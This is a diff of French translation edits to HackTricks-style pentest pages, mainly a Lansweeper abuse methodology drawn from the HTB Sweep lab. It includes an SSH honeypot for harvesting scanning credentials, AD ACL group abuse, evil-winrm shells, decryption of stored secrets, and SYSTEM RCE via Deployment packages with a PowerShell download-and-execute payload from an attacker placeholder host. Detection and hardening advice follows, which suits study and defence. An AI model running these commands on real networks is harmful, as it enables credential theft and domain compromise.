+La structure de la tâche, telle que présentée dans le fichier de configuration XML généré par `New-GPOImmediateTask`, décrit les spécificités de la tâche planifiée — y compris la commande à exécuter et ses déclencheurs. Ce fichier représente la manière dont les tâches planifiées sont définies et gérées au sein des GPO, fournissant un moyen d'exécuter des commandes ou des scripts arbitraires dans le cadre de l'application des stratégies.

 ### Utilisateurs et groupes

-Les GPO permettent également de manipuler les membres des utilisateurs et des groupes sur les systèmes ciblés. En modifiant directement les fichiers de stratégie Utilisateurs et groupes, un attaquant peut ajouter des utilisateurs à des groupes privilégiés, comme le groupe local `administrators`. Cela est rendu possible par la délégation des permissions de gestion des GPO, qui permet de modifier les fichiers de stratégie pour inclure de nouveaux utilisateurs ou changer les appartenances aux groupes.
+Les GPO permettent également de manipuler les appartenances aux utilisateurs et groupes sur les systèmes cibles. En modifiant directement les fichiers de stratégie Users and Groups, un attaquant peut ajouter des utilisateurs à des groupes privilégiés, comme le groupe local `administrators`. Cela est possible via la délégation des permissions de gestion des GPO, qui permet de modifier les fichiers de stratégie pour inclure de nouveaux utilisateurs ou changer les appartenances aux groupes.

-Le fichier de configuration XML pour Utilisateurs et groupes décrit comment ces changements sont implémentés. En ajoutant des entrées à ce fichier, des utilisateurs spécifiques peuvent se voir accorder des privilèges élevés sur les systèmes affectés. Cette méthode offre une approche directe d'escalade de privilèges via la manipulation des GPO.
+Le fichier de configuration XML pour Users and Groups décrit comment ces changements sont implémentés. En ajoutant des entrées à ce fichier, des utilisateurs spécifiques peuvent se voir accorder des privilèges élevés sur les systèmes affectés. Cette méthode offre une approche directe d'escalade de privilèges via la manipulation des GPO.

-De plus, d'autres méthodes pour exécuter du code ou maintenir la persistance, comme l'utilisation de scripts de logon/logoff, la modification de clés de registre pour les autoruns, l'installation de logiciels via des fichiers `.msi`, ou la modification des configurations de services, peuvent aussi être envisagées. Ces techniques offrent différentes voies pour maintenir l'accès et contrôler les systèmes cibles via l'abus des GPO.
+De plus, d'autres méthodes pour exécuter du code ou maintenir la persistance peuvent être envisagées, telles que l'utilisation de scripts de connexion/déconnexion, la modification des clés de registre pour les autoruns, l'installation de logiciels via des fichiers .msi, ou l'édition de configurations de services. Ces techniques fournissent diverses voies pour maintenir l'accès et contrôler les systèmes cibles par l'abus des GPO.

 ## Références

--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -1,30 +1,30 @@
-# Lansweeper Abuse : récolte d'identifiants, déchiffrement de secrets et RCE via Deployment
+# Abus de Lansweeper: Credential Harvesting, Secrets Decryption, and Deployment RCE

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper est une plateforme de découverte et d'inventaire d'actifs IT couramment déployée sur Windows et intégrée à Active Directory. Les credentials configurés dans Lansweeper sont utilisés par ses moteurs de scan pour s'authentifier auprès des assets via des protocoles comme SSH, SMB/WMI et WinRM. Des mauvaises configurations permettent fréquemment :
+Lansweeper est une plateforme de découverte et d'inventaire d'actifs IT couramment déployée sur Windows et intégrée à Active Directory. Les credentials configurés dans Lansweeper sont utilisés par ses moteurs de scan pour s'authentifier sur des assets via des protocoles comme SSH, SMB/WMI et WinRM. Des mauvaises configurations permettent fréquemment :

- Interception d'identifiants en redirigeant une Scanning Target vers un hôte contrôlé par l'attaquant (honeypot)
- Abus des AD ACLs exposés par des groupes liés à Lansweeper pour obtenir un accès distant
- Déchiffrement sur l'hôte de secrets configurés dans Lansweeper (connection strings et scanning credentials stockés)
- Exécution de code sur des endpoints gérés via la fonctionnalité Deployment (souvent exécutée en tant que SYSTEM)
+- Interception de credentials en redirigeant une Scanning Target vers un hôte contrôlé par l'attaquant (honeypot)
+- Abus des AD ACLs exposées par des groupes liés à Lansweeper pour obtenir un accès distant
+- Déchiffrement sur l'hôte des secrets configurés par Lansweeper (connection strings et scanning credentials stockés)
+- Exécution de code sur des endpoints gérés via la feature Deployment (souvent exécutée en tant que SYSTEM)

-Cette page résume des workflows d'attaquants pratiques et des commandes pour abuser de ces comportements lors d'engagements.
+Cette page résume des workflows et commandes pratiques pour un attaquant afin d'abuser de ces comportements lors d'engagements.

-## 1) Récupérer des scanning credentials via un honeypot (exemple SSH)
+## 1) Harvest scanning credentials via honeypot (SSH example)

-Idée : créer une Scanning Target qui pointe vers votre hôte et y mapper les Scanning Credentials existants. Quand le scan s'exécute, Lansweeper tentera de s'authentifier avec ces credentials, et votre honeypot les capturera.
+Idée : créer une Scanning Target qui pointe vers votre hôte et mapper les Scanning Credentials existants dessus. Quand le scan s'exécute, Lansweeper tentera de s'authentifier avec ces credentials et votre honeypot les capturera.

-Aperçu des étapes (web UI) :
+Aperçu des étapes (web UI):
 - Scanning → Scanning Targets → Add Scanning Target
- Type: IP Range (or Single IP) = votre IP VPN
- Configure SSH port sur un port atteignable (p.ex. 2022 si 22 est bloqué)
- Désactiver le schedule et prévoir un déclenchement manuel
- Scanning → Scanning Credentials → assurez-vous que des credentials Linux/SSH existent ; mappez-les vers la nouvelle target (enable all as needed)
- Cliquez sur “Scan now” sur la target
- Démarrez un honeypot SSH et récupérez le username/password tenté
+- Type: IP Range (or Single IP) = votre VPN IP
+- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
+- Disable schedule and plan to trigger manually
+- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
+- Click “Scan now” on the target
+- Run an SSH honeypot and retrieve the attempted username/password

-Exemple avec sshesame:
+Example with sshesame:
 ```yaml
 # sshesame.conf
 server:
@ -48,11 +48,11 @@ netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
 Remarques
 - Fonctionne de la même manière pour d'autres protocoles lorsque vous pouvez forcer le scanner à se connecter à votre listener (honeypots SMB/WinRM, etc.). SSH est souvent le plus simple.
- De nombreux scanners s'identifient par des client banners distincts (e.g., RebexSSH) et tenteront des commandes bénignes (uname, whoami, etc.).
+- Beaucoup de scanners s'identifient avec des bannières client distinctes (par ex., RebexSSH) et tenteront des commandes bénignes (uname, whoami, etc.).

-## 2) Abus d'AD ACL : obtenir un accès distant en vous ajoutant à un groupe app-admin
+## 2) AD ACL abuse: obtenir un accès distant en s'ajoutant à un groupe app-admin

-Utilisez BloodHound pour énumérer les droits effectifs à partir du compte compromis. Une découverte fréquente est un groupe spécifique au scanner ou à l'application (e.g., “Lansweeper Discovery”) disposant de GenericAll sur un groupe privilégié (e.g., “Lansweeper Admins”). Si le groupe privilégié est également membre de “Remote Management Users”, WinRM devient disponible une fois que nous nous y ajoutons.
+Utilisez BloodHound pour énumérer les droits effectifs depuis le compte compromis. Une découverte courante est un groupe spécifique au scanner ou à l'application (par ex., “Lansweeper Discovery”) possédant GenericAll sur un groupe privilégié (par ex., “Lansweeper Admins”). Si le groupe privilégié est également membre de “Remote Management Users”, WinRM devient disponible une fois que nous nous y ajoutons.

 Exemples de collecte:
 ```bash
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
 # Confirm WinRM access if the group grants it
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Ensuite, obtenez un shell interactif :
+Ensuite, obtenez un interactive shell :
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Astuce : les opérations Kerberos sont sensibles au temps. Si vous obtenez KRB_AP_ERR_SKEW, synchronisez d'abord l'heure avec le DC :
+Astuce : Les opérations Kerberos sont sensibles au temps. Si vous obtenez KRB_AP_ERR_SKEW, synchronisez l'heure avec le DC d'abord :
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
 ## 3) Décrypter les secrets configurés par Lansweeper sur l'hôte

-Sur le serveur Lansweeper, le site ASP.NET stocke généralement une chaîne de connexion chiffrée et une clé symétrique utilisée par l'application. Avec un accès local approprié, vous pouvez décrypter la chaîne de connexion DB puis extraire les creds de scan stockés.
+Sur le serveur Lansweeper, le site ASP.NET stocke généralement une chaîne de connexion DB chiffrée et une clé symétrique utilisée par l'application. Avec un accès local approprié, vous pouvez déchiffrer la chaîne de connexion DB puis extraire les identifiants de scan stockés.

 Emplacements typiques :
 - Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
- Clé d'application: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
+- Clé de l'application: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Utilisez SharpLansweeperDecrypt pour automatiser le déchiffrement et le dumping des creds stockés :
+Utilisez SharpLansweeperDecrypt pour automatiser le déchiffrement et l'extraction des identifiants stockés :
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,23 +99,23 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-La sortie attendue inclut les détails de connexion DB et les identifiants de scan plaintext tels que les comptes Windows et Linux utilisés dans l'ensemble du parc. Ceux-ci ont souvent des droits locaux élevés sur les hôtes du domaine:
+La sortie attendue inclut les détails de connexion DB et les identifiants de scan en clair, tels que des comptes Windows et Linux utilisés dans l'ensemble du parc. Ceux-ci ont souvent des droits locaux élevés sur les hôtes du domaine :
 ```text
 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
 ```
-Utiliser les creds de scanning Windows récupérés pour obtenir un accès privilégié :
+Utiliser les Windows scanning creds récupérés pour un accès privilégié :
 ```bash
 netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
 ```
 ## 4) Déploiement Lansweeper → SYSTEM RCE

-En tant que membre du groupe “Lansweeper Admins”, le web UI expose les sections Deployment et Configuration. Sous Deployment → Deployment packages, vous pouvez créer des packages qui exécutent des commandes arbitraires sur des assets ciblés. L'exécution est effectuée par le Lansweeper service avec des privilèges élevés, ce qui permet l'exécution de code en tant que NT AUTHORITY\SYSTEM sur l'hôte sélectionné.
+En tant que membre du groupe “Lansweeper Admins”, l'interface web expose les sections Deployment et Configuration. Sous Deployment → Deployment packages, vous pouvez créer des packages qui exécutent des commandes arbitraires sur des assets ciblés. L'exécution est effectuée par le service Lansweeper avec des privilèges élevés, permettant l'exécution de code en tant que NT AUTHORITY\SYSTEM sur l'hôte sélectionné.

 High-level steps:
- Créez un nouveau Deployment package qui exécute une one-liner PowerShell ou cmd (reverse shell, add-user, etc.).
- Ciblez l'asset souhaité (e.g., the DC/host where Lansweeper runs) et cliquez sur Deploy/Run now.
+- Créez un nouveau Deployment package qui exécute une commande PowerShell ou cmd d'une seule ligne (reverse shell, add-user, etc.).
+- Ciblez l'asset souhaité (par ex., le DC/host où Lansweeper s'exécute) et cliquez sur Deploy/Run now.
 - Récupérez votre shell en tant que SYSTEM.

 Example payloads (PowerShell):
@ -127,21 +127,21 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Les actions de Deployment sont bruyantes et laissent des journaux dans Lansweeper et les journaux d'événements Windows. À utiliser judicieusement.
+- Les actions de déploiement sont bruyantes et laissent des logs dans Lansweeper et les journaux d'événements Windows. À utiliser avec discernement.

 ## Détection et durcissement

 - Restreindre ou supprimer les énumérations SMB anonymes. Surveiller le RID cycling et les accès anormaux aux partages Lansweeper.
- Contrôles d'egress : bloquer ou restreindre fortement les connexions sortantes SSH/SMB/WinRM depuis les hôtes scanner. Alerter sur les ports non standard (p.ex., 2022) et les bannières client inhabituelles comme Rebex.
- Protéger `Website\\web.config` et `Key\\Encryption.txt`. Externaliser les secrets dans un vault et les faire pivoter en cas d'exposition. Envisager des comptes de service avec des privilèges minimaux et des gMSA lorsque viable.
- Surveillance AD : alerter sur les changements des groupes liés à Lansweeper (p.ex., “Lansweeper Admins”, “Remote Management Users”) et sur les modifications d'ACL accordant GenericAll/Write pour l'appartenance aux groupes privilégiés.
- Auditer la création/modification/exécution des packages de Deployment ; alerter sur les packages lançant cmd.exe/powershell.exe ou des connexions sortantes inattendues.
+- Contrôles de sortie : bloquer ou restreindre fortement les connexions sortantes SSH/SMB/WinRM depuis les hôtes du scanner. Alerter sur les ports non standard (p.ex., 2022) et les bannières client inhabituelles comme Rebex.
+- Protéger `Website\\web.config` et `Key\\Encryption.txt`. Externalisez les secrets dans un vault et renouvelez-les s'ils sont exposés. Envisagez des comptes de service avec des privilèges minimaux et gMSA lorsque possible.
+- Surveillance AD : alerter sur les changements des groupes liés à Lansweeper (p.ex., “Lansweeper Admins”, “Remote Management Users”) et sur les modifications d'ACL accordant GenericAll/Write membership sur des groupes privilégiés.
+- Auditez la création/modification/exécution des packages de déploiement ; alerter sur les packages qui lancent cmd.exe/powershell.exe ou établissent des connexions sortantes inattendues.

-## Sujets connexes
- SMB/LSA/SAMR enumeration and RID cycling
- Kerberos password spraying and clock skew considerations
- BloodHound path analysis of application-admin groups
- WinRM usage and lateral movement
+## Sujets liés
+- Énumération SMB/LSA/SAMR et RID cycling
+- Kerberos password spraying et considérations sur le clock skew
+- Analyse des chemins BloodHound des groupes application-admin
+- Utilisation de WinRM et mouvement latéral

 ## Références
 - [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)